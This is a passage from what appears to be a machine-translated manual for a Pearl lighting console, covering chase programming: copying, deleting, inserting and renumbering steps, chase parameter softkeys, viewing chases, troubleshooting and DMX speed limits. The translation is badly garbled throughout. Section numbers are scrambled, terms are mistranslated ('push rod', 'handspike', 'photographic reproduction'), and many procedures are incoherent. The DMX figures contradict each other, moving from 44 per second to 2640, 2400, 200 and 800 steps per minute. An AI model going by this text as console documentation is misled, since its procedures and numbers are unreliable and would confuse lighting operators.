7. .14. 15 .8 previous step (PREVIOUS 15 STEPS). .


Since Pearl console only 15 recording putters, you can't be at one time owned more than 15 trace step, press this button to put the previous 15 step into recording and push, to facilitate editing. If you are already in the beginning of a track, then this function will not work.

7. .14. .9 Took 15 steps (NEXT 15 STEPS). .


Very strange, this feature to the next step of 15 into recording, as well as in putting you in a very long tracks, edit any step, if you are already a track to the end of this function will not work.

7. .14. .10 To start out. .


Exit:.


* Press the UNFOLD button. It's light will burn out, and will be saved to your start playback page. .

7. how to .15 recording push rod run time tracking.


HTP-channel playback fader will control the maximum output level, but it does not affect any timer. .


LTP channel run as usual.

7. .16 Copy a track. .


When you copy a track (memory), COPY the word contains two meanings.


It means that the original track is copied, but it also means that all copy and the original is connected, and change tracking has been connected to any one, all these will change. Delete a copy does not affect the other copy of the memory. .


Copy a track as follows:.


* Press and hold down the track you want to copy the gray ADD button. Which recorders will ask you press the SWOP button. .


* Press the do you want to copy from there by recording channel SWOP button. When you ADD a button, if you want you can change the wheel or the letters on the wheel.


Copy the connection again, like other call tracking and editing, but any changes will affect all the other connected to the tracking. .


A good method is this: If you want to run one at different times on the same track, put this track to your wheel or letters of the same recording and Pushrod. In this way, you can raise and lowering the same push rod or the same ADD buttons to start the trace.

7. .17 Photocopying memory. .


If you want to copy the trace (memory), but does not require it to any other track connections, use the photographic reproduction.


* Rotation the key to the programming state (Program), enter the programming mode. .


* Press the program select block blue PHOTOCOPY button. It's led will be lit.


* Press and hold the camera you want to copy the memory of the gray ADD button. Which recorders will ask you press the SWOP button. .


* Press the do you want to copy from there photographic recording channel SWOP button. When still according to ADD a button, if you want you can change the wheel or the letters on the wheel.

7. Skip any step .18. .


In a connected trace step, whether it is stopped or running, you can skip to a track step. If it is running, it will jump to trace back, and continues to run.


You can program the mode or run these:. .


* CONNECT (connect) tracking.


* In the keyboard input step number. Do not press ENTER. .


* Press the CONNECT button.


This result is the current tracking step to immediately stop, and a new step of programming time it will fade out, if the step is not connected, you must press the GO button. .

7. .19 screen tracking control block.


The bottom of the screen Chase Control Box (tracking control box), the left side of the console screen. .


This box displays from top to bottom as follows:.


The Next step (next step). .


The Chase number Connected (connection tracking number).


The live step (current step). .


Decay time (Fade times) from the arrangement of the three vertical lines reflected, the wait time (Wait times) can be arranged in three rows of reflected.


Tracking number to track next to the asterisk indicates the speed has changed but not saved. .

7. .20 clear a temporary speed and cross decay.


Tracking in a connection speed to clear a temporary and cross-decay. .


* Press the CONNECT button. Enter the connection menu.


* Press the softkey A [Clear temporary speed] (Softbutton A [CLEAR TEMPORARY SPEED]). .

7. .21 in BPM and tracking speed in seconds.


No. 13 in the user settings have on display in Beats Per Minute or Seconds tracking step operation. See Section 12. .13 Section Setting 13. . SPEED IN SECONDS / BPM. .

7. the way with a .22 percussion set tracking speed.


You can easily set according to the beat of music track speed, only used in the operation mode. .


* Keys to go to the RUN mode. The screen will show you which run mode to run.


* Onto a playback fader to run a trace. .


* Connection (CONNENT) tracking.


* Press softkey G (Softbutton G [TAP TWICE TO SET CHASE SPEED]) both set two track time. .


Now tracing by tapping the settings way to run rate.


In the tracking parameters (Chase Parameters) menu, the speed with storage function (Save Speed) kept pace. See Section 7. .27. .1 Save softkey A storage rate (Softbutton A-SAVE SPEED). .

7. delete tracking. .23


* Rotation the key to the programming state (Program), enter the programming mode. .


* Press the program select block blue DELETE button. It's led will be lit.


* For twice that you want to delete the memory of the SWOP button. DELETE the lights burn out, and you delete the playback channel indicator will extinguish, indicating that it is now empty. .

7. delete a trace step .24.


* Rotation the key to the programming state (Program), enter the programming mode. .


* Connection (CONNECT) tracking.


* Press the program select the DELETE button on the blue block. It's light goes on. .


* Enter your want to delete the track step number, and press ENTER. Screen back to ask you to confirm deletion step.


* Press the softkey A [YES] OK to delete or softkey F [NO] to stop. .


You can see 7. .14. .5 section removed in expansion.

7. .25 Insert a tracking step. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* Connection (CONNECT) to track. .


* Do you want to insert step.


* Press the program select the block blue INSTERT button. It's light goes on. .


* Input you want to insert the tracking number of the step, and press ENTER. Screen back to ask you to confirm deletion step.


Step number should you want to insert a decimal number between two steps. .


When you enter the step number new step will be displayed.


You can also see 7. .14. .6 Section inserted in the start. .

7. tracing step to .26..


If you have insert or delete steps, you can re-code tracking and even further from a start of a whole number. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* Connection (CONNECT) to track. .


* Press the program select block blue INSTERT button. It's led will be lit.


* Press the softkey A [RENUMJBER], the screen will ask you if you want to re-code tracking. .


Press the soft key is A [YES] to delete or softkey F [NO] to stop.


See also 7. .14. .7 Section re-launch tracking number. .

7. set the tracking parameters .27.


Access to a tracking menu:. .


* Keys to rotate to programming status (Program), to enter the programming mode.


* Press the soft key A (Softbutton [CHASE PARAMETERS]) tracking parameters. .


This feature allows you to provide connection tracking how the presentation. It can pass the softkey F [MORE] to combine two screen operation.


The second screen has a function that was previously in general and in the USER SETTINGS operation happen. .


It is the first page (PAGE 1) above is:.

7. .27. .1 Softkey A ─ ─ storage speed (SAVE SPEED). .


This key is used to save after the programming to set by moving the wheel speed of temporarily.

7. .27. .2 Softkey B ─ ─ storage direction (SAVE DIRECTION). .


This key allows to track in the direction to move forward, backward and jumping.

7. .27. .3 Softkey C ─ ─ normal / random (NORMAL / RANDOM). .


This allows to arbitrary manner to effect the dishi branch.


7. .27. Softkey D ─ ─ .4 on the last stop? . .


This allows you to stop at the last step of tracking. Considering that a blackout step, and then press GO to start you ever need.


Press softkey G [MORE] to access the page 2:. .

7. .27. softkey A .5-pusher stops (FADER STOPS)/start tracking (STARTS CHASE)/handspike will reload the trace (FADER WILL RELOAD CHASE)/stop pusher, to keep track of start (the FADER START STOPS, GO TO CHASE).


When a track playback fader is moved, and pushed to the zero position, this was controlled by the occurrence of the three operations. .


FADER STOPS (push stop)/STARTS CHASE (start tracking), when recording on the push rod was pushed to begin tracking, and when it is moved to the zero position, and then move on this recording and push it from a stop position at which to begin tracking.


Whenever putting up from zero when the shift position, FADER WILL RELOAD CHASE total from the first step in beginning to track. .


When recording and pusher moves up after pressing the GO button to GO TO STOPS, FADER START to start the trace.

7. .27. .6 Softkey B-all steps to wait and decay (WAIT AND FADE ALL STEPS) / skip the first wait (SKIP FIRST WAIT TIME) / skip the first wait and decay (SKIP FIRST WAIT AND FADE TIME). .


These operations used to control the first step is to run.


When programming, WAIT AND FADE ALL STEPS can use exactly the timer. .


When recording on the push rod was pushed, SKIP FIRST WAIT TIME to move the first wait time to begin to decay.


When the playback when putting drove up, SKIP FIRST WAIT AND FADE TIME is the first step into the output. As a first step to move all the time, you can consider this feature. .

7. .27. .7 soft key C-mode allows manual (MANUAL MODE ALLOWED)/(DISALLOWED) is not allowed.


Manual mode allows time when A runner can be used to manually step. .


Runner's output is timer input, so if a long time to be prepared to step, will allow more wheel rotating coils to decay step.


If a short period of time to be prepared to follow steps, only allowing a small amount of rotation, this feature will make you more used to wheel to the control of decay. .


If the manual mode is not allowed, Runner cannot be used to control the decay.

7. .27. .8 Softkey D-speed wheel allows / allowed (SPEED WHEEL ALLOWED / DISALLOWED). .


This function is used to allow or not allow faster runner.

7. .28 View the tracking step. .


In the programming or running mode to view the output of the: remembering.


* Press the VIEW button. .


* Press the do you want to view the memory of SWOP button. Recording and playing push push rod can also be pushed down and up, the screen 6 (Preview Screen) is displayed automatically. You can detect trace is the first step.


* You can step by step implementation of each feature block, and view the VGA monitor output for each feature in the console. Can you Left and Right Arrow keys to increase the tracking step. You can view any current output independent of the tracking step. .


* Press the EXIT key to leave.

7. .29 View of a connection tracking. .


In the Program or Run mode to view the current one connection tracking step output:.


* Connect (connection) trace. .


Or.


* Press the VIEW button. .


* Press the CONNECT button. Recording and playing push push rod can also be pushed down and up, the screen 6 (Preview Screen) is displayed automatically. VDU show this connection tracking of current output.


* You can step by step implementation of each feature block, and view the VGA monitor output for each feature in the console. .


* Press the EXIT key to leave.


Or:. .


* Press the VIEW key and enter 5 in the keyboard and press the ENTER key, or use the NEXT SCREEN to screen 5 PG (tracking).


* Press EXIT to leave. .


In some cases make a trace of replication is very useful, this track will allow when another recording run time editing and testing, it is also very easy step through the different settings to a second push in and between the manual operations, to make you jump to a sequence of steps.


You step through the keyboard and press the select button to jump to any CONNENT tracking step. .

7. .30 in charts and remote stage records and call tracing step.


Tracking step directly from the chart records, see 15. .9. .4 Take the form of a chart recording step. .


Tracing back from the remote demo directly from the stage, see 16. .5 to call and use remote gradually through the trace.

7. .31 Help and tips. .


Problem: after tracking programs cannot demonstrate.


Answer: Press the CLEAR button, or the key to RUN position. .

Problem: write Tracker disappeared.


Answer: Check whether you are on the right page and letters. .

Problem: some HTP channel will not be able to demonstrate.


Answer: Check their weakened block (Reduction bank) have not been reduced. See section 9. .9 Weakening Putters. .

Problem: some moving lights (moving lights) on the channel will not be able to demonstrate.


Answer: They may not be recorded. If you are using Record by Channel (with channel recording), then you have to edit each record to the programmer is in the channel, which means that you have access to every channel, even if only to reiterate that the level is the current, see 6. .1 Festival recording. .

Problem: presets, runner and the table does not lose to the stage, but the recording was properly..


Answer: Check you have no choice BLIND mode. .


7. .31. .1 in tracking speed limitation of DMX.


The following text is to explain why only some of BPM rate is permitted. .


The order of each step must be output (otherwise some important information will not be sent to the lamp), BPM in the fastest track speed is determined by the DMX update rate decision.


DMX theoretical maximum update rate for the second 44 or 2640 times a minute. Practice is not common in the Pearl 2400 console speed is able to complete, and another way to track the output the maximum number of steps per minute 2400. .


The next is in all other DMX cycle a new step is output per minute to give 200 step. From the beginning of the next speed is in a stage of every third cycle output per minute to 800. This is the baud rate 1200, 2400, 800, 600, and so on up.


If a channel of decay from 0 to 100% or 100 to 0%, and the smallest changes can make a level of the LSB (least signigicant bit), it will achieve an 8bit channel decay more than 8 seconds and a 16bit channel over 27 seconds. This is why many moving lights in the horizontal and vertical direction, the reasons for moving slowly. .


This limitation is inherent in DMX.